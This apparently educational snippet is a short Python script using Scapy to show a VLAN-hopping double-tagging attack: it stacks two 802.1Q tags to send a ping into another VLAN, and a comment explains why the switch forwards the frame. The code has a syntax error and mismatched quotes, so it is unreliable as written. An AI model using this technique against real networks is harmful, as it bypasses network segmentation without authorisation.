VLAN hopping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
#coding:utf-8
''
Lets say our computer is connected to VLAN 1 and
wants to ping another one on VLAN 2.
''

from scapy.all import *

packet = Ether(dst="c0:d3:de:ad:be:ef") / Dot1Q(vlan=1) / Dot1Q(vlan=2) /IP(dst="192.168.13.3" / ICMP()

sendp(packet)

'''information

First we set the header includeing our VLAN tag into the packet and afterwards
the one of the destination host. The switch will remove the first tag, than decide
how to react on the packet, seeing the second tag with VLAN id 2 he decides to forward
it to that vlan. On some switches this attack will only be successful if its connected
to other VLAN enabled switches via stacking, because otherwise they use port based VLAN.
'''

文章目录
,